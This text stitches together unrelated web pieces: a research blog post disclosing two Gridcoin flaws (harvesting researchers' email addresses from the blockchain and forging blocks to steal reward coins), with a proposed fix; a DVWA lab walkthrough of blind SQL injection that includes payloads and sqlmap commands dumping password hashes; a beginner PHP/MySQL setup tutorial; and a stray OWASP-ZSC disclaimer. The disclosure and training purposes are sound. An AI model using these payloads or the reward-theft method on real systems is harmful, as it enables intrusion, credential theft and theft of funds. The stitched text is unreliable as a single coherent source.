Gridcoin - The Good

In this post we will take an in depth look at the cryptocurrency Gridcoin, we show how we found two critical design vulnerabilities and how we fixed them.

In the last past years we saw many scientific publications about cryptocurrencies. Some focused on theoretical parts [Source] and some on practical attacks against specific well-known cryptocurrencies, like Bitcoin [Source]. But in general there is a lack of practical research against alternative coins. Or did you know that there are currently over 830 currencies listed online? So we asked ourselves how secure are these currencies, and if they are not just re-branded forks of the Bitcoin source code?

Background

Gridcoin is an Altcoin, which is in active development since 2013. It claims to provide a high sustainability, as it has very low energy requirements in comparison to Bitcoin. It rewards users for contributing computation power to scientific projects, published on the BOINC project platform. Although Gridcoin is not as widespread as Bitcoin, its draft is very appealing as it attempts to eliminate Bitcoin's core problems. It possesses a market capitalization of $13,719,142 (2017/08/10).

Berkeley Open Infrastructure for Network Computing

To solve general scientific meaningful problems, Gridcoin draws on the well-known Berkeley Open Infrastructure for Network Computing (BOINC). It is a software platform for volunteer computing, initially released in 2002 and developed by the University of California, Berkeley. It is an open source software licensed under the GNU Lesser General Public License. The platform enables professionals in need for computation power to distribute their tasks to volunteers. Nowadays it is widely used by researchers with limited resources to solve scientific problems, for example, healing cancer, investigate global warming, finding extraterrestrial intelligence in radio signals and finding larger prime numbers.
When launching a BOINC project, its maintainer is required to set up his own BOINC server. Project volunteers may then create accounts (by submitting a username, a password and an email address) and work on specific project tasks, called workunits. The volunteers can process the project tasks and transfer their solutions with a BOINC client.

BOINC architecture

BOINC uses a client-server architecture to achieve its rich feature set. The server component handles the client requests for workunits and the problem solutions uploaded by the clients. The solutions are validated and assimilated by the server component. All workunits are created by the server component and each workunit represents a chunk of a scientific problem which is encapsulated into an application. This application consists of one or multiple in-/output files, containing binary or ASCII encoded parameters.

BOINC terminology

• iCPID
• The BOINC project server creates the internal Cross Project Identifier (iCPID) as a 16 byte long random value during account creation. This value is stored by the client and server. From this time on, the iCPID is included in every request and response between client and server
• eCPID
• The external Cross Project Identifier (eCPID) serves the purpose of identifying a volunteer across different BOINC projects without revealing the corresponding email address. It is computed by applying the cryptographic hash function MD5 to (iCPID,email) and thus has a length of 16 byte [Source].

eCPID = MD5(iCPID||email)

• Credits
• BOINC credits are generated whenever a host submits a solution to an assigned task. They are measured in Cobblestone, whereas one Cobblestone is equivalent to 1/200 of CPU time on a reference machine with 1,000 mega floating point operation per seconds [Source]
• Total Credit
• Total number of Cubblestones a user invested with his machines for scientific computations
• Recent Average Credit (RAC)
• RAC is defined as the average number of Cobblestones per day generated recently [Source]. If an entire week passes, the value is divided by two. Thus old credits are weakly weighted. It is recalculated whenever a host generates credit [Source].

Gridcoin

As a fork of Litecoin, Gridcoin-Research is a blockchain based cryptocurrency and shares many concepts with Bitcoin. While Bitcoin's transaction data structure and concept is used in an unmodified version, Gridcoin-Research utilizes a slightly modified block structure. A Gridcoin-Research block encapsulates a header and body. The header contains needed meta information and the body encloses transactions. Due to the hashPrevBlockHeader field, which contains the hash of the previous block-header, the blocks are linked and form the distributed ledger, the blockchain. Blocks in the blockchain are created by so called minters. Each block stores a list of recent transactions in its body and further metadata in its header. To ensure that all transactions are confirmed in a decisive order, each block-header field contains a reference to the previous one. To regulate the rate in which new blocks are appended to the blockchain and to reward BOINC contribution, Gridcoin-Research implements another concept called Proof-of-Research. Proof-of-Research is a combination of a new overhauled Proof-of-BOINC concept, which was originally designed for Gridcoin-Classic and the improved Proof-of-Stake concept, inspired by alternative cryptocurrencies.

Fig. 1: Gridcoin block structure

Gridcoin terminology

In order to understand the attacks we need to introduce some Gridcoin specific terms.

• eCPID
• Identifier value from BOINC used in Gridcoin to identify the researcher.
• CPIDv2
• contains a checksum to prove that the minter is the owner of the used eCPID. We fully describe the content of this field in the last attack section.
• GRCAddress
• contains the payment address of the minter.
• ResearchAge
• is defined as the time span between the creation time of the last Proof-of-Research generated block with the user's eCPID and the time stamp of the last block in the chain measured in days.
• RSAWeight
• estimates the user's Gridcoin gain for the next two weeks, based on the BOINC contribution of the past two weeks.

Proof-of-Stake

Proof-of-Stake is a Proof-of-Work replacement, which was first utilized by the cryptocurrency Peercoin in 2012. This alternative concept was developed to showcase a working Bitcoin related currency with low power consumption. Therefore, the block generation process has been overhauled. To create a new valid block for the Gridcoin blockchain the following inequality have to be satisfied:

SHA256(SHA256(kernel)) < Target * UTXO Value + RSAWeight

The kernel value represents the concatenation of the parameters listed in Table 2. The referenced unspent transaction output (UTXO) must be at least 16 hours old. The so called RSAWeight is an input value to the kernel computation, it's indicates the average BOINC work, done by a Gridcoin minter.
In direct comparison to Bitcoin's Proof-of-Work concept, it is notable that the hash of the previous block-header is not part of the kernel. Consequently, it is theoretically possible to create a block at any previous point in time in the past. To prevent this, Gridcoin-Research creates fixed interval checkpoint blocks. Once a checkpoint block is synchronized with the network, blocks with older time stamps became invalid. Considering the nature of the used kernel fields, a client with only one UTXO is able to perform a hash calculation each time nTime is updated. This occurs every second, as nTime is a UNIX time stamp. To be able to change the txPrev fields and thereby increase his hash rate, he needs to gain more UTXO by purchasing coins. Note that high UTXO and RSAWeight values mitigate the difficulty of the cryptographic puzzle, which increase the chance of finding a valid kernel. RSAWeight was explained above. Once a sufficient kernel has been found, the referenced UTXO is spent in a transaction to the creator of the block and included in the generated block. This consumes the old UTXO and generates a new one with the age of zero.

The Gridcoin-Research concept does not require much electrical power, because the maximum hash rate of an entity is limited by its owned amount of UTXOs with suitable age.

Proof-of-Research

Minters relying solely on the Proof-of-Stake rewards are called Investors. In addition to Proof-of-Stake, Gridcoin gives minters a possibility to increase their income with Proof-of-Research rewards. The Proof-of-Research concept implemented in Gridcoin-Research allows the minters to highly increase their block reward by utilizing their BOINC Credits. In this case the minter is called a Researcher.
To reward BOINC contribution, relevant BOINC data needs to be stored in each minted block. Therefore, the software uses the BOINCHash data structure, which is encapsulated in the first transaction of each block. The structure encloses the fields listed in Table 6. The minting and verification process is shown in Figure 2 and works as follows:

1. A minter (Researcher) participates in a BOINC project A and performs computational work for it. In return the project server increases the users Total Credit value on the server. The server therefore stores the minter's email address, iCPID, eCPID and RAC.
2. Statistical websites contact project server and down-load the statistics for all users from the project server (A).
3. After the user earns credits, his RAC increases. Consequently, this eases the finding of a solution for the Proof-of-Stake cryptographic puzzle, and the user can create (mint) a block and broadcast it to the Gridcoin network.
4. Another minter (Investor or Researcher) will receive the block and validate it. Therefore, he extracts the values from the BOINCHash data structure inside the block.
5. The minter uses the eCPID from the BOINCHash to request the RAC and other needed values from a statistical website and compares them to the data extracted from the BOINCHash structure, in the event that they are equal and the block solves the cryptographic puzzle, the block is accepted.

 Fig. 2: Gridcoin architecture and minting process

Reward calculation

The total reward for a solved block is called the Subsidy and is computed as the sum of the Proof-of-Research and the Proof-of-Stake reward.

If a minter operates as an Investor (without BOINC contribution), the eCPID is set to the string Investor and all other fields of the BOINCHash are zeroed. An Investor receives only a relatively small Proof-of-Stake reward.
Because the Proof-of-Research reward is much higher than its Proof-of-Stake counterpart, contributing to BOINC projects is more worth the effort.

Statistic Website

At the beginning of the blog post, the core concept behind BOINC was described. One functionality is the creation of BOINC Credits for users, who perform computational work for the project server. This increases the competition between BOINC users and therefore has a positive effect on the amount of computational work users commit. Different websites 4 collect credit information of BOINC users from known project servers and present them online. The Gridcoin client compares the RAC and total credit values stored in a new minted block with the values stored on cpid.gridcoin.us:5000/get_user.php?cpid=eCPID where eCPID is the actual value of the researcher. If there are differences, the client declines the block. In short, statistical websites are used as control instance for Gridcoin. It is obvious that gridcoin.us administrators are able to modify values of any user. Thus, they are able to manipulate the amount of Gridcoins a minter gets for his computational work. This is crucial for the trust level and undermines the general decentralized structure of a cryptocurrency.

Project Servers

Gridcoin utilizes BOINC projects to outsource meaningful computation tasks from the currency. For many known meaningful problems there exist project servers 5 that validate solutions submitted by users, 6 and decide how many credits the users receive for their solutions. Therefore, the project servers can indirectly control the amount of Gridcoins a minter gets for his minted block via the total credit value. As a result, a Gridcoin user also needs to trust the project administrators. This is very critical since there is no transparency in the credit system of project server. If you want to know why decentralization is not yet an option, see our paper from WOOT'17.

Attacks

In addition to the trust a Gridcoin user needs to put into the project server and statistic website administrators, Gridcoin suffers from serious flaws which allows the revelation of minter identities or even stealing coins. Our attacks do not rely on the Gridcoin trust issues and the attacker does not need to be in possession of specific server administrative rights. We assume the following two simple attackers with limited capability sets. The first one, is the blockchain grabber which can download the Gridcoin blockchain from an Internet resource and runs a program on the downloaded data. The second one, the Gridcoin attacker, acts as a normal Gridcoin user, but uses a modified Gridcoin client version, in order to run our attacks.

Interestingly, the developer of Gridcoin tried to make the source code analysis somewhat harder, by obfuscating the source code of relevant functions.

 Fig. 3: Obfuscated source code in Gridcoin [Source]

Grab Gridcoin user email addresses

In order to protect the email addresses of Gridcoin Researchers, neither BOINC project websites nor statistical websites directly include these privacy critical data. The statistical websites only include eCPID entries, which are used to reward Gridcoin Researchers. However, the email addresses are hidden inside the computation of the BOINCHash (cf. Table 1). A BOINCHash is created every time a Researcher mints a new block and includes a CPIDv2 value. The CPIDv2 value contains an obfuscated email address with iCPID and a hash over the previous blockchain block.

By collecting the blockchain data and reversing the obfuscation function (cf. Figure 4 and Figure 7), the attacker gets all email addresses and iCPIDs ever used by Gridcoin Researchers. See the reversed obfuscation function in Figure 4 and Figure 5.

Evaluation

We implemented a deobfuscation function (cf. Figure 7) and executed it on the blockchain. This way, we were able to retrieve all (2709) BOINC email addresses and iCPIDs used by Gridcoin Researchers. This is a serious privacy issue and we address it with our fix (cf. The Fix).

Steal Gridcoin users BOINC reward

The previous attack through deobfuscation allows us to retrieve iCPID values and email addresses. Thus, we have all values needed to create a new legitimate eCPID. This is required because the CPIDv2 contains the last block hash and requires a re-computation for every new block it should be used in. We use this fact in the following attack and show how to steal the computational work from another legitimate Gridcoin Researcher by mining a new Gridcoin block with forged BOINC information. Throughout this last part of the post, we assume the Gridcoin Minter attacker model where the attacker has a valid Gridcoin account and can create new blocks. However, the attacker does not perform any BOINC work.

 Tab. 1: BOINCHash structure as stored and used in the Gridcoin blockchain.

As stated at the beginning of the blog post, the pre-image of the eCPID is stored obfuscated in every Gridcoin block, which contains a Proof-of-Research reward. We gathered one pre-image from the minted blocks of our victim and deobfuscated it. Thus, we know the values of the iCPID, and the email address of our victim. Subsequently, use the hash of the last block created by the network and use these three values to create a valid CPIDv2. Afterwards we constructed a new block. In the block we also store the current BOINC values of our victim, which we can gather from the statistics websites. The final block is afterwards sent into the Gridcoin network. In case all values are computed correctly by the attacker, the network will accept the block, and resulting in a higher reward for the attacker, consisting of Proof-of-Stake and Proof-of-Research reward.

 Fig. 4: Obfuscation function

 Fig. 5: Deobfuscation function

Evaluation

In order to verify our attacks practically, we created two virtual machines (R and A), both running Ubuntu 14.04.3 LTS. The virtual machine R contained a legitimate BOINC and Gridcoin instance. It represented the setup of a normal Gridcoin Researcher. The second machine A contained a modified Gridcoin-Research client 3.5.6.8 version, which tried to steal the Proof-of-Research reward of virtual machine R. Thus, we did not steal reward of other legitimate users. The victim BOINC client was attached to the SETI@home project 11 with the eCPID 9f502770e61fc03d23d8e51adf7c6291.

The victim and the attacker were in possession of Gridcoins, enabling them to stake currency and to create new blocks.

 Fig. 6: CPIDv2 calculation deobfuscated

Initially both Gridcoin-Research clients retrieved the blockchain from other Gridcoin nodes in the Gridcoin network.

The Gridcoin attack client made it possible to specify the victim email address, iCPID and target project. All these values can be retrieved from the downloaded blockchain and our previous attack via the reverseCPIDv2 function as shown in Figure 7. The attack client read the iCPID and email address of the victim from a modified configuration file. All other values, for example, RAC or ResearchAge, were pulled from http://cpid.gridcoin.us:5000/get_user.php?cpid=. As soon as all values were received, the client attempted to create a new valid block.

 Fig. 7: Reverse the CPIDv2 calculation to get iCPID and email address

Once a block had been created and confirmed, the attacker received the increased coin reward with zero BOINC contribution done. The attack could only be detected by its victims because an outside user did not know the legitimate Gridcoin addresses a Researcher uses.

All blocks created with our victim's eCPID are shown in Table 2. Illegitimate blocks are highlighted. We were able to mint multiple illegitimate blocks, and thus stealing Research Age from our victim machine R. All nine blocks created and send by our attacker to the Gridcoin network passed the Gridcoin block verification, were confirmed multiple times, and are part of the current Gridcoin blockchain. During our testing timespan of approximately three weeks, the attacker machine was wrongfully rewarded with 72.4 Proof-of-Research generated Gridcoins, without any BOINC work. The results show that the attack is not only theoretically possible, but also very practical, feasible and effective. The attack results can be reproduced with our Gridcoin-Research-Attack client.

 Tab. 2:Blocks minted with the victim's eCPID

The Fix

In order to fix the security issue, we found one solution which does not require any changes to the BOINC source code nor the infrastructure. It is sufficient to change some parts of the already existing Gridcoin Beacon system. Thus, our solution is backwards compatible.
The current Gridcoin client utilizes so called Beacons to register new eCPIDs and stores them as a transaction of 0.0001 Gridcoins in a Superblock which is created every 24 hours. A Beacon encloses the user's personal eCPIDs, a corresponding unused (but irreversible) CPIDv2, and the wallet's main Gridcoin payment address. Once the Superblock is created, the eCPIDs is bound to one Gridcoin payment address. During the block verification process this bond is unfortunately not checked. Furthermore, the existing Beacon system does not use any strong asymmetric cryptography to ensure authenticity and integrity of the broadcasted data. We propose to extend the Beacon system with public key cryptography. In detail, we suggest that a user binds his fresh public key PK_1 to a newly generated eCPID, and then storing them together in a Superblock. An initial Beacon would therefore contain a hashed (e.g. SHA-256) eCPID, the public key, a Nonce, and a cryptographic signature created with the corresponding secret key SK_1 of the public key. This allows only the owner of the secret key to create valid signatures over blocks created with his eCPID. Thus, an adversary first needs to forge a cryptographic signature before he can claim Proof-of-Research work of another Gridcoin user. Thus, he is not capable of stealing the reward of the user.

Beacon to create a eCPID, public/secret key pair bond

For verification purposes nodes fetch the corresponding latest public key from one of the Superblocks. Furthermore, this Beacon structure allows a user to replace his previous public key associated with his eCPID. This is realized by submitting a new Beacon with a new public key PK_2, signed with his old secret key.

Beacon to update a eCPID, public/secret key pair bond

All Beacons in the chain are verifiable and the latest public key is always authentic. The Nonce provide freshness for the signature input, and therefore prevent replay attacks against the Beacon system.
Note that the eCPID needs to be completely unknown to the network, when sending the initial Beacon, for this concept to work as intended. The hash function ensures, that the Beacon does not reveal the fresh eCPID. As a result, an attacker is unable to mint with a eCPID even if he was able to intercept an initial Beacon and replaced the public key and signature with his own parameters, beforehand. This solution does not require any changes in the BOINC source code or the project servers.

Sign a block

In order to claim the Proof-of-Research reward for a newly created block, the Gridcoin minter computes a signature over the hash of the blockheader. Afterwards, he stores the resulting value at the end of the corresponding block in a new field. The private key used for the signature generation must correspond to the advertised public key by the user. It is important to note that the signature value is not part of the Merkle tree, and thus does not change the blockheader. In the end, the signature can then be verified by every other Gridcoin user via the advertised public key corresponding to the eCPID of the Gridcoin minter.

Responsible Disclosure

The attacks and the countermeasures were responsibly disclosed to the Gridcoin developer on the 14th of September, 2016. The developer used our proposed countermeasures and started to implement a new version. Since version 3.5.8.8, which is mandatory for all Gridcoin users, there exists an implementation, which contains countermeasures to our reward stealing attack.
See our next blog post, why Gridcoin is still insecure and should not be used anymore.

Further Reading

A more detailed description of Gridcoin and the attacks will be presented at WOOT'17, the paper is available here.

Authors

Tobias Niemann

Juraj Somorovsky

Martin Grothe

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Learning Web Pentesting With DVWA Part 3: Blind SQL Injection

In this article we are going to do the SQL Injection (Blind) challenge of DVWA.
OWASP describes Blind SQL Injection as:
"Blind SQL (Structured Query Language) injection is a type of attack that asks the database true or false questions and determines the answer based on the applications response. This attack is often used when the web application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL injection.

When an attacker exploits SQL injection, sometimes the web application displays error messages from the database complaining that the SQL Query's syntax is incorrect. Blind SQL injection is nearly identical to normal , the only difference being the way the data is retrieved from the database. When the database does not output data to the web page, an attacker is forced to steal data by asking the database a series of true or false questions. This makes exploiting the SQL Injection vulnerability more difficult, but not impossible."

To follow along click on the SQL Injection (Blind) navigation link. You will be presented with a page like this:

Lets first try to enter a valid User ID to see what the response looks like. Enter 1 in the User ID field and click submit. The result should look like this:

Lets call this response as valid response for the ease of reference in the rest of the article. Now lets try to enter an invalid ID to see what the response for that would be. Enter something like 1337 the response would be like this:

We will call this invalid response. Since we know both the valid and invalid response, lets try to attack the app now. We will again start with a single quote (') and see the response. The response we got back is the one which we saw when we entered the wrong User ID. This indicates that our query is either invalid or incomplete. Lets try to add an or statement to our query like this:

' or 1=1-- -

This returns a valid response. Which means our query is complete and executes without errors. Lets try to figure out the size of the query output columns like we did with the sql injection before in Learning Web Pentesting With DVWA Part 2: SQL Injection.
Enter the following in the User ID field:

' or 1=1 order by 1-- -

Again we get a valid response lets increase the number to 2.

' or 1=1 order by 2-- -

We get a valid response again lets go for 3.

' or 1=1 order by 3-- -

We get an invalid response so that confirms the size of query columns (number of columns queried by the server SQL statement) is 2.
Lets try to get some data using the blind sql injection, starting by trying to figure out the version of dbms used by the server like this:

1' and substring(version(), 1,1) = 1-- -

Since we don't see any output we have to extract data character by character. Here we are trying to guess the first character of the string returned by version() function which in my case is 1. You'll notice the output returns a valid response when we enter the query above in the input field.
Lets examine the query a bit to further understand what we are trying to accomplish. We know 1 is the valid user id and it returns a valid response, we append it to the query. Following 1, we use a single quote to end the check string. After the single quote we start to build our own query with the and conditional statement which states that the answer is true if and only if both conditions are true. Since the user id 1 exists we know the first condition of the statement is true. In the second condition, we extract first character from the version() function using the substring() function and compare it with the value of 1 and then comment out the rest of server query. Since first condition is true, if the second condition is true as well we will get a valid response back otherwise we will get an invalid response. Since my the version of mariadb installed by the docker container starts with a 1 we will get a valid response. Lets see if we will get an invalid response if we compare the first character of the string returned by the version() function to 2 like this:

1' and substring(version(),1,1) = 2-- -

And we get the invalid response. To determine the second character of the string returned by the version() function, we will write our query like this:
1' and substring(version(),2,2) = 1-- -
We get invalid response. Changing 1 to 2 then 3 and so on we get invalid response back, then we try 0 and we get a valid response back indicating the second character in the string returned by the version() function is 0. Thus we have got so for 10 as the first two characters of the database version. We can try to get the third and fourth characters of the string but as you can guess it will be time consuming. So its time to automate the boring stuff. We can automate this process in two ways. One is to use our awesome programming skills to write a program that will automate this whole thing. Another way is not to reinvent the wheel and try sqlmap. I am going to show you how to use sqlmap but you can try the first method as well, as an exercise.
Lets use sqlmap to get data from the database. Enter 1 in the User ID field and click submit.
Then copy the URL from the URL bar which should look something like this
http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit
Now open a terminal and type this command:

sqlmap --version

this will print the version of your sqlmap installation otherwise it will give an error indicating the package is not installed on your computer. If its not installed then go ahead and install it.
Now type the following command to get the names of the databases:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id

Here replace the PHPSESSID with your session id which you can get by right clicking on the page and then clicking inspect in your browser (Firefox here). Then click on storage tab and expand cookie to get your PHPSESSID. Also your port for dvwa web app can be different so replace the URL with yours.
The command above uses -u to specify the url to be attacked, --cookie flag specifies the user authentication cookies, and -p is used to specify the parameter of the URL that we are going to attack.
We will now dump the tables of dvwa database using sqlmap like this:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa --tables

After getting the list of tables its time to dump the columns of users table like this:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa -T users --columns

And at last we will dump the passwords column of the users table like this:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa -T users -C password --dump

Now you can see the password hashes.
As you can see automating this blind sqli using sqlmap made it simple. It would have taken us a lot of time to do this stuff manually. That's why in pentests both manual and automated testing is necessary. But its not a good idea to rely on just one of the two rather we should leverage power of both testing types to both understand and exploit the vulnerability.
By the way we could have used something like this to dump all databases and tables using this sqlmap command:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id --dump-all

But obviously it is time and resource consuming so we only extracted what was interested to us rather than dumping all the stuff.
Also we could have used sqlmap in the simple sql injection that we did in the previous article. As an exercise redo the SQL Injection challenge using sqlmap.

References:

1. Blind SQL Injection: https://owasp.org/www-community/attacks/Blind_SQL_Injection
2. sqlmap: http://sqlmap.org/
3. MySQL SUBSTRING() Function: https://www.w3schools.com/sql/func_mysql_substring.asp

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How To Start PHP And MYSQL | The Best Server For PHP And MYSQL | Tutorial 1

Many of people want to start PHP programming embedded with MYSQL databases concepts. So i thought that I should start a series about PHP and MYSQL. So in this series of video tutorials you exactly got the content about PHP and MYSQL.

As PHP is server side scripting language. So it requires a server to get execute over the web browser. First of all you have to download and install a server that may be XAMPP, WAMPP or LAMPP. I'm using XAMPP server in the tutorials. So if you wanna follow me then download a XAMPP server. I'm using this because it has a good interface to work  and it's really simple. XAMPP is compatible with windows, MAC and Linux operating as well. WAMPP is only for windows and LAMPP is used for MAC and Linux operating system. So i prefer XAMPP for this series.

How to create Database

Step 1:

Open Your XAMPP control panel and start Apache and Mysql services.

Step 2:

Go to your Web browser and type "localhost/phpmyadmin". It will open your databases area. If you have an error then your services are not in running state. If you have any error then comment below.

Step 3:

Click over the "new" to create a new database.

Step 4:

Write Database_Name and click over the Create button. For example Facebook, Students etc.

Step 5:

Write Table_Name like admin, users etc. your can increase and decrease the size of rows. Click over Save/Create button.

Step 6:

Write your Attribute_Names in first column like Username, Email, Passwords etc. In the next data type column you have to select the data type whether it is integer or string type etc. In the next column you have to set the length of string/words.

Step 7:

If you wanna go through with a Primary_Key. Then just you have to checked the Auto_Increment box as you will shown in the video. For further watch the video for better understanding. 

DISCLAIMER: THIS SOFTWARE WAS CREATED TO CHALLENGE ANTIVIRUS TECHNOLOGY, RESEARCH NEW ENCRYPTION METHODS, AND PROTECT SENSITIVE OPEN SOURCE FILES WHICH INCLUDE IMPORTANT DATA. CONTRIBUTORS AND OWASP FOUNDATION WILL NOT BE RESPONSIBLE FOR ANY ILLEGAL USAGE.

An example of OWASP-ZSC

Download OWASP-ZSC

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